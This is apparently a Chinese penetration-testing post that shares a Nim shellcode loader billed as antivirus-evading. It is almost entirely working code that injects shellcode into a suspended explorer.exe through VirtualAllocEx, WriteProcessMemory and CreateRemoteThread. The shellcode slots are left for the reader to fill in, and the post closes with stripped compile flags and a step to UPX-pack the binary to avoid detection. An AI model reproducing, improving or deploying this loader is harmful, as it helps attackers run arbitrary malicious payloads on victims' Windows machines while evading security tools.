渗透测试|NIM最新免杀shellcode加载器

#[
    Author: Marcello Salvati, Twitter: @byt3bl33d3r
    License: BSD 3-Clause
]#

import winim/lean
import osproc

proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void =

    # Under the hood, the startProcess function from Nim's osproc module is calling CreateProcess() :D
    let tProcess = startProcess("explorer.exe")  #注入的进程
    tProcess.suspend() # That's handy!

    echo "[*] Target Process: ", tProcess.processID

    let pHandle = OpenProcess(
        PROCESS_ALL_ACCESS, 
        false, 
        cast[DWORD](tProcess.processID)
    )

    echo "[*] pHandle: ", pHandle

    let rPtr = VirtualAllocEx(
        pHandle,
        NULL,
        cast[SIZE_T](shellcode.len),
        MEM_COMMIT,
        PAGE_EXECUTE_READ_WRITE
    )

    var bytesWritten: SIZE_T
    let wSuccess = WriteProcessMemory(
        pHandle, 
        rPtr,
        unsafeAddr shellcode,
        cast[SIZE_T](shellcode.len),
        addr bytesWritten
    )

    echo "[*] WriteProcessMemory: ", bool(wSuccess)
    echo "    \\-- bytes written: ", bytesWritten
    echo ""

    let tHandle = CreateRemoteThread(
        pHandle, 
        NULL,
        0,
        cast[LPTHREAD_START_ROUTINE](rPtr),
        NULL, 
        0, 
        NULL
    )

    echo "[*] tHandle: ", tHandle
    echo "[+] Injected"

when defined(windows):

    # https://github.com/nim-lang/Nim/wiki/Consts-defined-by-the-compiler
    when defined(i386):
        # ./msfvenom -p windows/messagebox -f csharp, then modified for Nim arrays
        echo "[*] Running in x86 process"
        var shellcode: array[933, byte] = [
        byte #填写你的shellcode，32位]

    elif defined(amd64):
        # ./msfvenom -p windows/x64/messagebox -f csharp, then modified for Nim arrays
        echo "[*] Running in x64 process"
        var shellcode: array[933, byte] = [
        byte #填写你的shellcode，64位]

    # This is essentially the equivalent of 'if __name__ == '__main__' in python
    when isMainModule:
        injectCreateRemoteThread(shellcode)

nim c -d=mingw --app=console --cpu=amd64 -d:danger -d:strip --opt:size shell.nim   #文件名
编译后需要进行upx压缩